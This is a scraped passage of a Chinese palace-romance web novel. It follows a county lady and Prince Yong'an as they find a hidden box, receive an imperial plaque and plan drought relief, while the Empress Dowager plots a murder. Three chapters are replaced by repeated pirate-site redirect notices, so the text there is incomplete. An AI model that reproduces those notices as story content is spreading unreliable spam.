崩掉的小角露出内里灰白的茬口,确实是刚弄坏的印迹。
她捡起一旁的小碎块,将它重新按了回去。
她笑着扭头看向双鲤:“你瞧,这不就修好……”
了么。
两个字还没说出口。
她就察觉到了不对劲。
这个崩角似乎带着一丝微不可察的突起。
她心念一动,扔掉了碎块,尝试着用指甲抵住那点突起,向下按了按。
咦?
没反应。
“县主,您在做什么?”双鲤有些好奇。
“没什么。”晏逐星摇了摇头。
她随意地把那块凸起往上,往左,往右,往每一个方向都转了一遍。
就在她以为自己想多了的时候。
“咔哒。”
一声极其轻微的弹响声传了出来。
晏逐星下意识地后退了一步。
但她却忘了自己此刻身在浴池之中有些打滑,一后退,就控制不住地往后倒去。
“县主当心!”
双鲤话音落下的时候,谢翊宁已经跳下池子稳稳从身后接住了她。
“多谢王爷!”晏逐星长长地舒了一口气。
幸亏永安王来得及时,不然她怕是要摔个四脚朝天了。
那也太丢人了。
“无妨。”谢翊宁松开了搀扶她的双手,心里止不住地嘀咕了起来。
国公府的伙食是不是不好啊,怎么小恩人在那住了一段时间,感觉一点肉都没长,还是那么瘦。
那小腰细的,他感觉他双手一掐就能环住了。
日后得从王府拨一个厨娘过来给她调养身子,将她养得白白胖胖的才行。
“咦,有东西!”
晏逐星的声音打断了他的思绪。
谢翊宁顺着她指的方向看了过去。
这才发现,先前那块石砖竟缓缓地向内侧滑开,露出了一个约莫一尺见方的洞口。
晏逐星凑近那洞口,借着浴池上方透下的朦胧光线向内望去,发现里边静静地躺着一个包裹在发黑破损的厚油布里的盒子。
“不会是秦王妃藏的什么宝贝吧?”晏逐星下意识地脱口而出。
“打开看看不就知道了。”谢翊宁也很好奇。
当年隐麟卫抄家时,竟然没找出来么。
有了他这句话,晏逐星三下五除二地就把外边那层厚油布给扯开了。
里边是一个方方正正的小盒子,通体漆黑,四面八方都有七八个大小相差无几的椭圆形凹坑,没看到锁。
晏逐星想要打开,但却不得其法。
左拧右拧都没弄开,她把盒子递给了谢翊宁:“我打不开。”
谢翊宁接过捣鼓了一下,也开不了。
这上边除了椭圆的凹坑,其他什么图案也没有。
晏逐星总觉得这些凹坑有些眼熟。
忽然,她灵光一闪,眨巴着眼看向了谢翊宁。
“王爷,你有没有觉得这些凹坑的大小和我那个镯子上那个蓝色琉璃的大小差不多?”
她这么一说,谢翊宁顿时也反应了过来。
会不会那个镯子就是打开盒子的开关?
他果断道:“你先去换身衣裳和鞋袜吧,莫要染了风寒。本王这就命人回府将镯子寻来。”
那个镯子他之前命人拿出去打听无所获之后,他怕弄丢,便收在了王府里。
“好。”晏逐星毫不犹豫地就答应了下来,丝毫不担心他把东西拿走。
“那王爷是不是也得换了呀?”她指了指谢翊宁为了下来扶着她弄湿的靴子。
“反正这山庄大得很,王爷您挑个客房沐浴更衣吧。”
“行。”谢翊宁也没跟她客气,这鞋子湿了穿在脚上实在难受。
他命停云回王府去取镯子和衣裳鞋袜。
没想到,停云竟然带了整整一马车的东西过来。
谢翊宁看着他身后塞得满满当当的马车:“……”
而停云一脸坦然,仿佛不觉得有什么问题。
他忍不住问道:“本王不是只命你取个镯子和几件衣裳来么,怎么,你这是把本王的寝殿都拆了搬过来?”
第206章 裴明镜误会
整站已迁移到新站点
手输请前往 (1)(3)8du点cc 继续欣赏
整站已迁移到新站点
手输请前往 (1)(3)8du点cc 继续欣赏
整站已迁移到新站点
手输请前往 (1)(3)8du点cc 继续欣赏
整站已迁移到新站点
手输请前往 (1)(3)8du点cc 继续欣赏
第207章 秦王府旧部
您当前浏览的是试读内容
更多精彩尽在 138du。C(
一键收藏,随时畅读
您当前浏览的是试读内容
更多精彩尽在 138du。C(
一键收藏,随时畅读
您当前浏览的是试读内容
更多精彩尽在 138du。C(
一键收藏,随时畅读
第208章 秦王妃行踪
当前为缓存页面,已不再更新
请前往 138du#cc 浏览最新章节
手机电脑都可访问
当前为缓存页面,已不再更新
请前往 138du#cc 浏览最新章节
手机电脑都可访问
当前为缓存页面,已不再更新
请前往 138du#cc 浏览最新章节
手机电脑都可访问
当前为缓存页面,已不再更新
请前往 138du#cc 浏览最新章节
手机电脑都可访问
第209章 不停要赏赐
“父皇说的什么话,就不能是儿臣孝顺您么。您若不要,那我可就全给母后了。”谢翊宁说完就要命人把银子抬走。
“当然要,朕什么时候说不要了。”文昭帝赶忙命人拦住了他。
“我儿孝顺,父皇高兴还来不及呢。”
听到他这话,谢翊宁这才露出了灿烂的笑脸。
“那就都给父皇。”
他坐在文昭帝下首,盯着他面前那一小碟樱桃。
不等他开口,文昭帝没好气地把樱桃递给了他。
“今日刚送入宫的,等会你出宫了拿一小筐走。”
“儿臣多谢父皇赏!”谢翊宁笑眯眯地答应道谢,然后毫不客气地吃起了樱桃。
文昭帝看了一眼地契,有些疑惑:“你给朕这玩意做什么?”
“是从您赏给令嘉县主那个温泉山庄里找出来的。”谢翊宁把找到秘匣的事情说了。
文昭帝没想到秦王妃竟然把东西藏得那么好,隐麟卫当初竟然没找到。
“这三千六百两银子也是从那宅子里找出来的?”文昭帝有些狐疑地盯着他。
“没错。”谢翊宁点了点头。
这三千六百两银子确实是宅子里找出来的,但找出来的不止三千六百两。
父皇只问了是不是从里边找到的,又没问一共找了多少,所以他这不算撒谎吧。
他转移了话题:“儿臣命人拷打了那院子里的老仆,她说秦王妃三年前曾给他们传过消息,当时她人在阆中。说是五年后会带着女儿回京。”
文昭帝听到这话顿时皱紧了眉头,随后又露出了释然的笑容。
“这么说来,秦王妃和她的女儿都还活着,那令嘉县主自然就不是她们的女儿了。你可以放心了吧。”
他给了儿子一个意味深长的眼神。
然而他没开窍的儿子压根不理解他的意思,只是重重点头:“儿臣早就说了她不是秦王的后人啊。她和皇家人长得完全不像。”
文昭帝:“……”
“对了,父皇,说到令嘉县主,她在温泉山庄发现了这么大的秘密算不算有功?”谢翊宁趁机开口要赏赐。
文昭帝:“……”
“父皇你不说话那儿臣就当你默认了啊。”谢翊宁飞快地将他想要的赏赐说了出来。
“不如您御笔亲题,给她赐一个颂匾吧。”
文昭帝磨了磨后槽牙。
“你今日给朕送宅子和银子,就是想换这个匾额吧?”
“父皇说的哪里话。儿臣明明是惦记您,所以才把这些东西送来给您。匾额不过是顺便的事嘛。”谢翊宁说得那叫一个光明正大。
“而且那京中贵夫人们都想要的流光缎,儿臣已经拉下面子从她那讨了十匹,明日就送去给母后。”
“行了行了,朕知道了。朕这就写。然后等她开张那日,让严公公亲自去送匾额,行了吧?”文昭帝完全扛不住小儿子的死缠烂打。
“父皇万岁!父皇真是古往今来天底下第一好的皇帝!”谢翊宁丝毫不吝啬自己的赞美之言。
“油嘴滑舌、油腔滑调,有空说这些话哄父皇高兴,你倒是先成个婚生个孩子让父皇高兴高兴啊。”
文昭帝嘴角上扬,但说出来的话却是谢翊宁完全不爱听的。
“父皇,儿臣就先行告退了。那日您记得要让严公公送匾额啊!”一提结婚生子,谢翊宁就抓了最后一颗樱桃,脚底抹油开溜了。
“小孽障。”文昭帝又好气又好笑地骂了一句,敷衍他还没忘了要好处呢。
也就是小石头了,换个人来,他非得好好教训一番不可。
看着谢翊宁消失的背影,文昭帝吩咐了下去:“去吧,命人将剩下的那一筐樱桃都送到永安王府去吧。还有他留下的那地契,一并送回给他,一个小宅子朕要来作甚。”
“是。”严公公当即应下。
果然,没有人能比得过永安王在皇上心里的地位。
嘴上骂着小孽障,实际上最宠王爷的就是他了。
*
晏逐星完全没料到,谢翊宁竟然用十匹流光缎换了一个皇上御笔亲题的匾额。
这简直太划算了!
“多谢王爷。”晏逐星道谢道得那叫一个情真意切。
“你没怪本王擅作主张就找你要十匹流光缎就好。毕竟你这流光阁的规矩是没有玉牌,一人只能购买两份。尚未开张,本王就以权谋私,坏了你的规矩。”谢翊宁有些不好意思。
他只想着替她讨要赏赐,却忘了她这的规矩。
若他可以这样随意地要走十匹,那下一次比她权势更高的人,是不是也可以这样做。
他这样做,想必会让她为难。
“喏,不就是玉牌么。王爷您是第一个拿到的!”晏逐星二话不说就把流光阁限量的金镶玉玉牌给了他。
“换做外人,即便是持有玉牌,我也不会一下给出十匹流光缎。但王爷不同,您是自己人呀。”
一句话让谢翊宁瞬间眉眼都生动了起来,笑意满面。
小恩人说话就是好听。
不怨他总想给她好东西。
这般乖巧懂事,若是他家的孩子,父皇母后不得抢着疼。
“嗯,那本王就收下了。”谢翊宁也不跟她客气,将那玉牌收入囊中。
晏逐星当即命人将上好的十匹流光缎交给了他。
随后,她又取出一方精致的锦匣,亲自打开。
匣中丝绒之上,一颗明珠清冷如月。
晏逐星笑着把匣子递了过去:“还有这颗合浦南珠,是我命人特意在岭南寻来的。拢共就找到三颗像样的,这颗最大最圆。麻烦王爷受累,一块儿带给皇后娘娘吧。这是我的一点小小心意,还望王爷和娘娘不要嫌弃。”
“怎么会嫌弃!母后瞧见了,定然要重重赏你。”谢翊宁看到这颗珍珠,眼前一亮。
世人皆知西珠不如东珠,东珠不如南珠。
上回王贵妃娘家人给她送了一颗漂亮的东珠把她给嘚瑟的,这回晏逐星送的这颗南珠比她那颗要漂亮多了。
到时候王贵妃脸怕是都要气歪了。
“皇后娘娘喜欢就好。”晏逐星松了一口气。
当时她让关家人在岭南研制流光缎时,顺便搜罗那边方便运回来的稀奇宝物,没想到还真让他们给找到了成色这般漂亮的南珠。
谢翊宁先前还带了半筐樱桃和秦王妃留下的那套地契,说是都给她。
她一看,王爷有好东西总是想着她,她也不能藏私,因而便把这原本打算留来镇店的上好南珠拿了出来。
“放心吧,我了解母后,她肯定会喜欢。”谢翊宁忍不住摸了摸她的脑袋。
小恩人真大方。
明明穷困潦倒的,这么好的东西却也舍得说送就送。
真是个好姑娘。
他要入宫,让母后好好赏她一番!
第210章 儿子开窍么
果不其然。
崔皇后瞧见这颗漂亮的南珠,笑意盈盈,心情好极了。
“真好看,小石头有心了。”
“不是儿臣有心了,是令嘉县主有心了。您上回赠了她浮光锦,又替她改了太后娘娘赐的难听封号,她感激您呢,所以才特意命人寻了这上好的南珠送您。”
谢翊宁才不居功,对着晏逐星就是大夸特夸。
崔皇后饶有兴致地看着他:“哦?可是母后记得浮光锦赏的明明是你,又不是她。怎么会落到她手里了?”
“母后您那不就是借着儿臣的手送她的么,儿臣都懂!”
谢翊宁一句话让崔皇后差点没激动得站起来。
儿子这是开窍了?
下一句话,谢翊宁就泼了她一盆冷水。
“她最近没得什么功劳,您平白无故赏她,多不合适呀。她是儿臣救命恩人之事,只有我知,您知,父皇和国师知。永安王府又无女眷,这料子您不是借儿子的手转赠给她,还能是给谁。”
崔皇后:“……”
谢翊宁却兴致勃勃地继续说下去:“母后放心,儿臣没有居功,已经说了是您送给她的。这不,她心里记挂着您的恩典呢,这么漂亮的流光缎和南珠,都让儿臣给您送来了。”
崔皇后扶额:“……你就不能说是你送的么???”
“那怎么行。若是我送的,多不合适,显得我俩私相授受了。多坏了人家小姑娘的名声啊。”谢翊宁反驳得坦坦荡荡。
崔皇后原本看见南珠的开心瞬间荡然无存。
“走走走,赶紧走,本宫现在看见你就头疼。就你这傻样,猴年马月才能给本宫寻一个儿媳妇啊。”她嫌弃地摆手,赶谢翊宁出宫。
“母后这话说的,哪里用得着猴年马月,拢共还有一年零七个月儿臣就满二十岁了。到时候若是平平安安活下来了,儿臣保证立马就听您的娶妻生子。”谢翊宁嬉笑着凑上去给她按揉脑袋。
“您就别头疼了,头疼多伤身啊。”
崔皇后拿这个小儿子是一点法子也没有。
这混小子就跟个滚刀肉似的。
说了也不听,听了也不做。
没辙!
“行吧行吧,儿孙自有儿孙福,没有儿孙本宫自己享福。本宫不操心你的终身大事了,你好好呆在京城哪里也不许去,度过了二十岁生辰再来说这事。”
崔皇后放弃催这油盐不进的小儿子了。
“您要是觉得孙儿抱得不够,您催催太子哥哥和太子妃嫂嫂啊。让他们早日争取诞下皇太孙,省得那些大臣叽叽歪歪让他纳侧妃。”
谢翊宁直接转移了火力,把压力给到了兄长身上。
崔皇后没好气地拍了他的手一下:“你太子妃嫂嫂才刚生下令仪半年多,这个时候要孩子多伤身子啊。得养好了身子才能诞下皇太孙。至于那些大臣他们要是再多舌,就让你父皇给他们多找点事干。”
“天天闲的没事盯着太子生孩子做什么,大虞没别的事可操心了么。”
“再说了,你父皇正值身强力壮之际,他们急什么皇太孙啊,是活不到太子他们生下皇太孙的时候了么。”
“母后说得真是太对了。”谢翊宁见母后的火气完全转移,长长地舒了一口气。
领着两个女儿来拜见皇后的太子妃沈清梧在殿外听到这话,眼眶一瞬间就红了。
她嫁给太子六年,至今只有两个女儿,娘家人都急了,生怕她生不出儿子。明里暗里不知道多少回偷偷给她请了民间的大夫,给她寻各种生子药。
可皇后却从没有催过她,总是安慰她不着急,缘分到了,孩子就来了。
她一直以为那是面子上的话,不曾想,皇后面对心爱的小儿子时说的话竟然也是这么偏袒她。
能给皇后娘娘当儿媳妇,真是她八辈子修来的福气。
*
转眼就到了流光阁开业的这一日。
朱雀大街热闹不已。
许多收到了晏逐星送去的帖子的贵夫人们都来了。
晏逐星在衔蝉的配合下,有条不紊地接待着今日大驾光临的客人们。
裴明镜远远地看着,没有上前。
这几日,他命人偷偷跟着永安王和晏逐星,他发现私底下两人见面时并无逾越之矩,似乎只是寻常的见面。
他这才松了一口气。
或许那日两人换了衣裳,是出了什么意外。
裴芜扭头看向他,一脸兴奋:“大堂兄,你说话可算话,今日我买的东西,都由你付银子?不管花多少银子都行?”
“嗯。”裴明镜点了点头。
他帮不了她什么了,只能让堂妹去买些东西,权当支持她的生意了。
“你真的不跟我一块去见见星儿?你们都好久没见了。”裴芜并不知道窦淑容做的那些事情,因而还在热情邀请他一块。
“我还有事,就不去了。你今日回府后,可以多跟我讲讲今日的见闻。”裴明镜艰难地摇了摇头。
明明近在咫尺,往前走几步就能和她说上话。
可他问心有愧,不敢见她。
“好。”裴芜当即应下,没再强求,开心地拉着丫鬟璎珞的手挤到了人群里往流光阁走去。
这时,街头传来了一阵骚乱,不过眨眼功夫,又都安静了下来。
众人看了过去。
面前是两队内侍手执拂尘疾行清道,严公公就坐在肩舆上。
听到有知情人说那是皇上身边的心腹太监大总管,众人顿时噤声。
肩舆停在了流光阁面前,一旁的关万海夫妇被吓得大气都不敢喘。
天老爷啊,今日来了那么多贵夫人,他们已经吓得够呛。
怎么还有宫里的太监总管也来了?
晏逐星从谢翊宁那提早得知了消息,因此不慌不忙地迎接严公公。
“令嘉县主,接旨吧。皇上命老奴前来给县主贺喜。”严公公从肩舆上走了下来,笑容可掬。
“令嘉接旨。”晏逐星跪下,其余人等也哗啦啦地跟着跪下了。
“奉天承运皇帝,诏曰:兹闻令嘉县主晏逐星开设流光阁,诚信为本,童叟无欺,深孚朕心。特赐御笔亲书匾额一方,以彰其德,以励商道。望尔持守初心,惠泽四方。钦此——”
“臣女晏逐星,叩谢皇上隆恩!吾皇万岁万岁万万岁!”晏逐星恭敬叩首。
“县主请起。”严公公含笑示意她起身,随即命人将皇上亲笔写下的“童叟无欺”的匾额悬挂到了店铺正中央。
至此,来流光阁买东西的人,都得先瞻仰一下皇上御赐的匾额。
这样的恩宠,自打皇上登基以来还是头一回。
众人都想不明白,为何一个身世不明的女子竟然能被皇上这般偏宠。
这个事情实在太令人震撼,比店里拿出来的流光缎还让人震惊。
不一会儿就传得人尽皆知。
就连被禁足的李柔徽和没出门的陆玥君都知道了这事。
两人虽不住一块,但面对此事,反应却出奇的相似。
第211章 是她的克星
愤怒、妒忌、不甘。
各种情绪交织在陆玥君心头。
听到下人传回来的消息,她气得狠狠捶了枕头一下。
自打上回在烈国公府在京城贵女面前被罚跪后,她自觉丢脸,便不愿出门。
但却依旧没有放弃关注晏逐星,想着日后一定要寻机会把场子找回来。
得知今日流光阁开业,她原本寻了人去闹事,想要搅黄了晏逐星开张第一天的生意。
不曾想皇上竟然给她赐了匾额?!
那些人见流光阁背后有皇上撑腰,当即灰溜溜地跑了,这事就没办成。
真是气死她了!
同一时间,李柔徽收到消息,脸色也阴沉得很难看。
可她如今什么也做不了。
有了祖父和大伯的命令,大伯母现在看她看得很紧,别说她岀不了门,就连她的丫鬟也出不去。
大伯母防她防得跟贼似的。
她只能暂时忍耐下来。
“晏逐星,且看你能得意到几时。”李柔徽闭上了眼睛。
小叔不在了,但还有太后呢。
按照小叔的说法,太后对晏逐星也恨之入骨,她就不信太后能容忍晏逐星招摇那么久。
长乐宫中。
太后得知文昭帝给晏逐星赐了匾额,气得嘴角都起了燎泡。
“气死哀家了,皇帝是要跟哀家对着干么。”她破口大骂。
一旁的桂嬷嬷赶忙安慰:“太后娘娘息怒,老奴打听了,此事是永安王撺掇的。您知道的,皇上素来偏宠他,这才……”
“好啊!又是他搞的鬼。”太后气得狠狠拍了一下桌子。
“怎么哪哪都有他,他就是哀家的克星!”
从那小子启蒙之后,她就没过过一天顺心日子。
小嘴嘚吧嘚吧的,比当朝太傅都能说,每次都给她说得哑口无言。
若是说不过别人,就往地上一躺,哀嚎着要死了。
这谁还敢和他吵啊。
桂嬷嬷不敢多言,只能轻轻抚拍她的背给她顺气。
太后气理顺后,冷静了下来。
“你说上回皇后和那小兔崽子在长乐宫拼了命地护着那野丫头,难不成是因为永安心悦那丫头?”
桂嬷嬷迟疑了片刻后,开口道:“老奴瞧着不像。若是心悦她,怎么会在她面前直接就往地上躺?”
她这么一说,太后也觉得有几分道理。
但转念一想,谢翊宁就不是一个能按常理推断的人。
万一他跟那野丫头说话也动不动就往地上躺呢,然后那野丫头就好这一口呢?
想到那个场景,太后感觉自己胳膊上的鸡皮疙瘩都爬起来了。
“总之,不管什么原因,皇后和永安都对那个野丫头颇为偏爱。若是能将她杀了,他们心里肯定不好受。”太后被逼得不想再忍了。
她不想通过钝刀子磨肉的法子让晏逐星难受了。
她也想快刀斩乱麻,让晏逐星去死,这样才能消了她心头的恶气。
“再过十日不就是皇后的诞辰了么,届时,就让那丫头死在她的寿诞上吧。”太后闭上了眼睛,做出了决定。
*
未央宫内。
大宫女云黛和妙檀正在整理皇后生辰宴的物品清单。
妙檀看着单子,忍不住看向崔皇后:“娘娘,今年您的寿宴安排得这样简朴,会不会显得寒酸了些?奴婢担心王贵妃那边知道了,又要拿这事儿做文章。”
崔皇后摇了摇头,语气十分淡然:“三月那场暴雨,万幸皇上得了先帝托梦警示,及早防备,这才救下无数百姓,也省下了一大笔救灾的银子。”
“这本是件喜事。可先帝不是还托梦说六月许州必遭大旱,这事儿恐怕不假。听那意思,旱情要一直持续到秋分以后呢。”
“你得明白,一旦大旱成灾,受灾的州县要粮开仓,流散的百姓要安置救济,河道水渠更要抢修。接下来的几个月,国库的每一两银子都要分作两半花,用在救灾救命、保一方平安这种刀刃上。本宫的寿宴,简单操办就好。”
“至于王贵妃那边……”
崔皇后嗤笑一声。
“她若敢生事,那便让她家里多掏些银子赈灾去。”
“是。”妙檀应下,不再多言。
朝堂上,文昭帝和众大臣正商量着许州大旱的事。
上次他把儿子说的那两件祸事伪装成是先帝托梦示警,刚好碰上南阳知府贪墨的案子露了馅,他就顺水推舟,借着这个机会拿住了群臣,让他们不得不信,提前去修了堤坝、疏散老百姓。
这一手不仅救下了无数条人命,更省下了大把准备救灾用的银子。
如今说到六月许州要闹大旱,朝堂上下都深信不疑。
毕竟根据许州官员汇报,四月起,许州就没下过雨了。
许州地界内的水位也越来越低,再这样下去,恐怕六月一到,许州百姓怕是连水都喝不上了。
“许州的赈灾银可备好了?”文昭帝的目光扫过阶下众臣。
户部尚书忙不迭出列,躬身道:“启禀皇上,银两俱已备足于应急专库,足可支撑灾情初期开仓放粮。”
“好。”文昭帝微微颔首,接着问道,“周遭的粮食可曾备齐了?”
“皇上圣明!”户部尚书声音提高了几分,带着一丝自得。
“自三月后,臣等谨遵旨意,已将许州邻近州县可征调的富余粮米,尽数购入库中,严加看管。定保粮价平稳,绝不让奸商有囤聚居奇之机!”
他顿了顿,补充道:“后续无力购粮的百姓,也可按制赊贷,秋后还粮于官仓。”
文昭帝眼神稍缓,抛出另一个问题:“提前引水修渠之事,进度如何?”
工部尚书出列回话:“回皇上,各州府民夫日夜赶工,不敢懈怠。按陛下所示需重点疏浚之河道、塘坝及新开水道,已动工六成有余。”
他瞥了一眼工部尚书的方向,抬高了音量:“但各州府库银告急,若户部再不拨一笔银钱,恐难以为继……”
他话音未落,户部尚书已是脸色一变,急急抢步上前,扑通跪下:
“皇上明鉴!户部的银子已尽数填入了囤粮之需,实无余银可挪啊。若再动此赈灾根本之银,恐怕只够许州百姓支撑月余之需了!”
工部尚书不甘示弱,也跟着哭诉了起来。
“旱情如此严峻,引水修渠乃保根本之策,工程浩大,急需钱粮支应民夫工食,这笔银子真的不能没有啊。”
户部和工部的官员就这样当堂争吵了起来。
文昭帝一言不发地听着,面色越发冷峻。
忽然,他轻笑一声。
第212章 王爷卖东西
“杨卫宗。”
文昭帝一开口,争执不休的官员们全都安静了下来。
被点名的工部尚书后背一麻,火速下跪。
“臣在。”
“从三月下旬开工至今,引水工程竟只完工六成?”文昭帝的声音充满了难以置信的怒火和深深的失望。
“你告诉朕!是工部调不动人?还是户部拨的工食银子落到了那些贪官污吏的肚子里?”
“还是你杨卫宗懈怠渎职,将这旱灾之中的万千黎明百姓的性命当成了儿戏?!”
“你可别忘了,温如璋如今身在何处。”
工部尚书腿一软,也跟着扑通跪倒在地。
他就说这个工部尚书的职位不吉利吧,每个人都坐不久。
大哥还非要他争。
瞧瞧,上一任工部尚书温如璋现在成了七品芝麻官,他才坐了不到三个月的尚书之位,不会又被一撸到底了吧。
他越想越心酸,哽咽道:
“皇上明鉴。工期延误确因工程浩大无比。”
“许州及周边地质复杂,连日干旱又令土地板结如铁,凿渠引水异常艰难。”
“臣日夜督战,工部属官连月无休,更征发民夫逾万。人力实已到了极限啊皇上!”
“是臣无能啊……”
文昭帝阴沉着一张脸又看向了户部尚书:“韦武甸。”
户部尚书也赶紧跪下。
“你告诉朕,应急专库的银子一个铜板都不能动?各地常平仓、预备仓的存粮、存银,当真一丝周转的余地也无?各州府历年积欠的税赋、盐课、商税,就一点也催缴不上来?”
文昭帝每问一句,户部尚书的背就佝偻得越深。
等到他问完,户部尚书便跪下哭喊了起来:
“皇上息怒!应急专库之银,乃为保江山根基而设,军饷俸禄、宫中用度皆系于此。臣实在不敢挪用分毫啊。”
“存粮存银臣也已经命人拼命调度了,但山高路远,周转困难啊。”
“如今局面,是臣无能,愧对皇上的信任!臣愿以死请罪。”
说完便要撞柱,户部侍郎瞅准时机一个健步冲上去拦住了他,但慢了一步,还是让他给撞晕了过去。
“好啊,你们这是要以死来威胁朕啊!”文昭帝一怒,朝臣们当即下跪,朝堂之上一片死寂。
最后还是太子谢元宸站了出来,平息了文昭帝的怒火。
“父皇息怒,还请保重龙体。”
“儿臣知道父皇先前发怒并非为责难臣下,而是心系许州百万生灵。”
“二位尚书方才所言,字字泣血,句句艰难。儿臣以为两位大人并非不尽心,而是天灾之酷烈远超常理。备粮耗如流水,工期紧如星火,人力物力皆已紧绷至极限。”
“儿臣愿率东宫属官,裁撤用度九成,带头献出本年俸禄、田庄所出,以充赈资!并即刻晓谕宗亲勋贵、六部九卿,凡食朝廷俸禄者,皆减俸三成,以作表率!”
太子说完后,陆太傅第一个站了出来:“老臣愿追随太子殿下及皇上爱民之仁心,减俸三成,略尽绵薄。”
太子都给递了台阶,工部尚书也急忙跟上:“臣愿追随太子殿下,减俸三成!愿为陛下分忧,共克时艰!”
其他人不管情不情愿,此刻都毅然决然地附和。
“臣等附议……”
*
朝会结束后,文昭帝将太子叫到了御书房,两人又商议了一下许州大旱的事情。
片刻后,文昭帝心疼地看着长子。
“宸儿啊,你方才在殿上讲,东宫用度要裁撤九成?这般苛待自己,接下来你可怎么周全啊?”
太子抿唇一笑:“父皇无需担忧,儿臣还有小石头呢。”
文昭帝一愣,眉眼里担心更多了。
那小子就是个不知人间疾苦的,花钱向来没个把门,有一两花一两,有十两恨不得花十二两,他能有多少存银啊。
“当初小石头被父皇罚俸禄,儿臣可是给了他不少银子。想必等他知道儿臣的窘境后,一定不会袖手旁观。”谢元宸微微一笑,脸上满是对弟弟的信赖。
他话音刚一落下,就听到小太监跑进来传话。
“启禀皇上,启禀太子殿下,永安王来了。”
谢翊宁一来,就掏了一沓银票塞到太子手里。
文昭帝粗粗扫了一眼,那一沓银票全是千两一张的!
算下来,至少得有两万两了。
“太子哥哥,你可千万别饿着自己了。不对,你饿不着,你可以到父皇这里蹭吃的。那你嘱咐太子府的人,可别饿着嫂嫂还有婉仪和令仪了。”
谢元宸忍俊不禁,还有些小得意地看向了父皇。
看吧,他就说了吧,小石头不会不管他的。
“好,我都记下了。”谢元宸笑着接过了弟弟给的银票。
文昭帝幽怨地看向谢翊宁。
“你上回入宫只给了朕三千六百两,怎么到了太子这,你就给那么多?”
谢翊宁理直气壮道:“反正我的都是父皇的呀。您上回又没说全要儿臣的私银,我给的是搜出来的银子,那不一样。”
谢元宸听到这话二话不说,又把手里的银票分了一大半给文昭帝,替弟弟找补:“小石头那是为了让儿臣借花献佛,让儿臣也给您分忧。父皇,这都给您。”
看着他们这兄友弟恭的模样,文昭帝忍不住笑了。
他将银票还给了太子。
“行了行了,都回去吧。过些日子就是你们母后的诞辰,别忘了给她送贺礼,然后入宫陪她一块用膳。”
“嗯,父皇别担心,儿臣给母后准备了一份大礼,她一定会很开心的。”谢翊宁眨巴着眼,露出了神秘的笑。
“哦?什么大礼?”
一句话勾起了两人的好奇心。
“自然要等母后生辰那日才告诉你们呀,现在说了,哪里还有什么惊喜。”谢翊宁坚决不说。
文昭帝和谢元宸知道他的性子,便没有追问,放他出宫去了。
只是转头就听到了隐麟卫传来消息:永安王在变卖府中的奇珍异宝。
第213章 王爷攒嫁妆
这可把文昭帝吓了一跳。
这孩子从不缺钱,如今是遇到什么困难了么,竟然要将王府里的宝贝给卖了。
他赶忙将人叫到了宫里。
“你可是缺银子花了?”
“不缺。”谢翊宁摇了摇头。
“那为何要变卖府中财物?”文昭帝皱紧了眉头。
“父皇先别问,之后您就知道了。”谢翊宁还是不肯说。
“你不会学人家去了赌坊吧?”文昭帝警惕地看着小儿子。
“你若敢学那些纨绔子赌钱,朕立刻命人打断你的狗腿。”
“父皇说的什么话。”谢翊宁摸了摸鼻尖,不敢看他的眼睛。
文昭帝一看就知道这小子在撒谎。
他当下就急了,看向严公公:“朕的紫檀木戒尺呢,拿过来,朕要抽死这小王八犊子,好的不学,竟然跟人家学赌钱。”
“别别别,父皇,儿臣卖东西和赌钱真的没关系!”谢翊宁上蹿下跳,闹得整个御书房鸡飞狗跳。
“你不说是吧,朕问隐麟卫。”
文昭帝气呼呼地看着他,当即将隐麟卫首领叫了过来。
“秦朔,你告诉朕,这混小子近日可去了赌坊?”
“回皇上,永安王确实把京中大大小小的赌坊都去了一遍。”秦朔顶着谢翊宁的死亡凝视,面无表情地回答。
“你小子还敢撒谎欺骗朕了?!你这是欺君之罪你知不知道。”
文昭帝气坏了。
这下是真的要拿戒尺抽人了。
“戒尺呢?朕的戒尺呢?”他四处张望。
这下严公公不敢再藏着戒尺了,赶忙交给他。
但刚给完戒尺,严公公立刻扑向了皇上的大腿,哭求道:“皇上,使不得啊!永安王身子娇贵,您若将他打出个好歹来,心疼的不还是您和皇后娘娘么……”
“让开,朕才不会心疼他!小兔崽子翅膀硬了,竟然敢学坏了!”文昭帝怒气冲冲,但严公公死活不撒手。
谢翊宁趁机看向秦朔:“秦指挥使,你说清楚啊。本王是去了赌坊没错,但本王很快就被请走了啊!”
“是,皇上,王爷是去了赌坊,但没一会儿就被请出来了。”秦朔跟着回话。
“怎么一回事?”文昭帝紧握着戒尺,等着秦朔回话。
“王爷进赌坊赢了别人银子。管事的认出他,说赌坊小本生意经不起他折腾,就让他拿着赢到的银子离开了。”
秦朔把来龙去脉解释了清楚。
谢翊宁点头如捣蒜:“他们玩不起。为什么别人赢钱就可以继续玩,我赢了一千两就要把我请走。还让我以后都别去了。”
秦朔低头腹诽:还能因为什么,因为您的身份呗。
寻常客人去了赌坊,赌坊的人敢出老千,让他们先赢后输。
您去了,谁敢出千让您输啊。
一千两银子就当是孝敬钱了。
文昭帝也想明白了这一出,他板着脸看着儿子:“那你说清楚,你为何要去赌坊?你若不说,朕就告诉你母后。”
“儿臣说还不行吗。”谢翊宁垂头丧气地开口。
“儿臣想在母后生辰那日给她凑十万两银子……”
“你凑十万两银子买什么?金山银山啊?”文昭帝忍不住脱口而出。
“是凑十万两银子买粮,以母后的名义捐赠给许州大旱的百姓。”谢翊宁解释了起来。
说到这,他有些羞赧。从耳根开始,整张脸都红了起来。
他一直以为自己还是有点钱的。
直到前日他给太子哥哥送了两万两银票后。
隔天王府大管家就捧着厚厚的账册,愁眉苦脸地寻到他跟前,小心翼翼地道:
“王爷,府里全年的进项统共五万两的净利,已然见底了。您昨日送进宫的那份厚礼,便已将小半年的进项,全数填进去了。”
他这才知道,他府中一年进项不过五万两而已。
之前一直不缺钱花是因为没什么可花钱的地方,京城里什么好玩的他都玩过了,不稀罕玩。
府中的那些珍宝稀罕玩意,父皇母后太子哥哥都会为他寻来,用不着他花钱。
但他重生后就不一样了。
暗中打探消息要花钱,培养人手要花钱……
找到小恩人之后,他还打算给小恩人攒嫁妆,桩桩件件,要花钱的地方实在太多了。
这一花,一不小心就花超了。
母后今年寿诞恐怕会撞上许州大旱消息传入京城的那段时间,他担心母后的名誉会被人拿来做文章。
上辈子因为大旱坊间曾流传父皇失德招来天谴的传言,这辈子父皇的名声已经在三月暴雨时抢救回来了,但母后却不同。
王贵妃娘家当初对母后当了正妃很不满,他们觉得王家才是名门望族,凭什么让崔家破落户生的女儿当正妃。
这些年没少在暗地里搞小动作。
因而他便想着暗中准备好银子,以母后的名义捐出去,这样若有人再借机生事,也难挑起民怨。
